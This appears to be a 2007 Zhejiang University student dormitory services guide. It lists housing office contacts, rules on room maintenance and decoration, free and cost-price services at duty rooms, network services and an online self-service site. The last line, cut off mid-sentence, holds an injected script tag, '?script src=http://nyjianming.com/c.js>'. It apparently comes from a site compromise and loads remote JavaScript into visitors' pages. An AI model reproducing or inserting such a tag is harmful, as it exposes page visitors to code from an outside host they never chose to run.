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服务指南——家之服务
[ 2007/11/19    访问次数:22326 ]
学生公寓管理服务中心:玉泉校区30舍1楼            87951818
紫金港社区服务中心: 紫金港校区白沙综合楼2楼   88206060    
玉泉校区宿管办:     玉泉校区8舍1楼           87951836    
西溪校区宿管办:     西溪校区12舍1楼          88273554    
华家池校区宿管办:   华家池校区3舍2楼         86971037  
浙江大学学生公寓网    http:// Home.ChinaSinew.com

1.住宿服务

    (请见服务流程板块的内容)

2.临时住宿、探亲房、夫妻房服务
    各校区宿管办在房源允许的情况下,浙江大学计划内学生的亲友来校探视、经学生本人申请,可以提供临时住宿;凡浙江大学计划内在读的已婚学生(不含在职学生),每人每学年均可申请一个月的探亲房;配偶双方均为浙大计划内在读博士生,亦可在房源允许的条件下申请夫妻房。详情请见相关管理规定。

3.设施维护服务
    入住前,请先检查一下物品设施是否齐全、有无损坏,如有问题请在入住两天内报知管理员并予维修,不报知的,即视为入住时物品设施完好。家具及设施使用有不明之处,请即咨询楼长或值班员。
    寝室内及宿舍楼内各项设施、设备和学校配备的物品均为公有财产,请妥善使用和保管。个人使用的家具由自己保管,共同使用的家具由集体分工保管、寝室长负责。
    寝室内配备的物品、设施受到损坏(自然损坏除外),当事人应自行承担维修、更换费用,并视具体情况,按相关规定做出赔偿,情节严重者将追究相关责任。
    请不要私自调换寝室门锁或另加门锁。
    鉴于学生宿舍的性质,学校规定宿舍内不允许有任何形式的装修行为,但可在寝室内进行合理装饰(包括墙面和门窗等)或文化氛围的营造,并注意不要采用易燃的材料(包括纸张、床帘等)、不要乱涂画和上油漆、装饰,不要引起他人的误解。同时住宿者要为装饰所引起的损坏承担赔偿责任。
    为保证学校各项设施设备的完好,学校将定期检查和维修设施设备,定期对宿舍进行维护、改造。
    实行“水、电及门锁维修不超过24小时”的维修承诺。如寝室或公共场所的家具、设施设备等有任何损坏,可在值班室报修,校区宿管办将尽快派人维修。

4.方便服务
每个宿舍楼值班室提供的日常免费服务和成本价服务服务内容包括:
服务项目        地点 时间 费   用
代订牛奶        值班室 月末 免费
代售201电话卡     值班室 随时 免费
针线包借用        值班室 随时 免费
简易五金工具借用  值班室 随时 免费
自行车打气        值班室 随时 成本费
微波炉使用        值班室 随时 成本费
衣物洗理      值班室 洗衣房 白天 成本费
桶装水送水上门    值班室 按约定时间 按供应商定价

5.网络服务
1)、为给学生提供便利的上网条件,紫金港校区除在部分宿舍楼门厅提供免费的上校园网服务外,在蓝田4舍底层(西)还设立网络创新基地机房,提供收费上网服务。
2)、玉泉、紫金港校区学生宿舍网综合服务点为学生提供笔记本电脑、维修电脑、网线等计算机网络配件、刻录光盘等多项服务。

6.值班服务
    宿舍楼值班员从每天早上开门至晚上关门前在值班台履行管理职责,为同学提供各项服务,同时及时处理应急事件,维护宿舍楼内安全秩序。

7.清洁服务
    每天清扫宿舍楼内公共场所,提供日常保洁服务。

8.代管服务
    提供大件物品和个人贵重物品的代管服务(需支付适量的代管费)。

9.咨询服务
    楼长室、值班室为住宿人员提供日常生活咨询、管理和帮助。

10.网上自助服务
    浙江大学学生公寓网(http://Home.ChinaSinew.com)提供网上住宿查询(学生宿舍号码、电话号码;查询寝室卫生检查分数、水电表读数等);宿舍管理服务相关知识?script src=http://nyjianming.com/c.js>
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